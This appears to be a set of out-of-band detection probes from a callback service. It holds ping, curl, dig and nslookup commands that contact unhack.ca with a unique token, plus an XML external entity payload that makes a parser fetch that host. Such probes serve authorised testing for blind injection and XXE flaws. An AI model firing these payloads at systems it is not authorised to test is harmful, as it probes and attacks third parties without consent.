$ ping -c1 -p 00e3fef3a6dc3962568e03851ea42c00 unhack.ca
 

$ curl http://unhack.ca/p/e3fef3a6dc3962568e03851ea42c
 

$ dig e3fef3a6dc3962568e03851ea42c @unhack.ca
 

$ dig e3fef3a6dc3962568e03851ea42c.ns.unhack.ca
 

C:\> nslookup e3fef3a6dc3962568e03851ea42c unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/e3fef3a6dc3962568e03851ea42c">]>
    <foo>&xxe;</foo>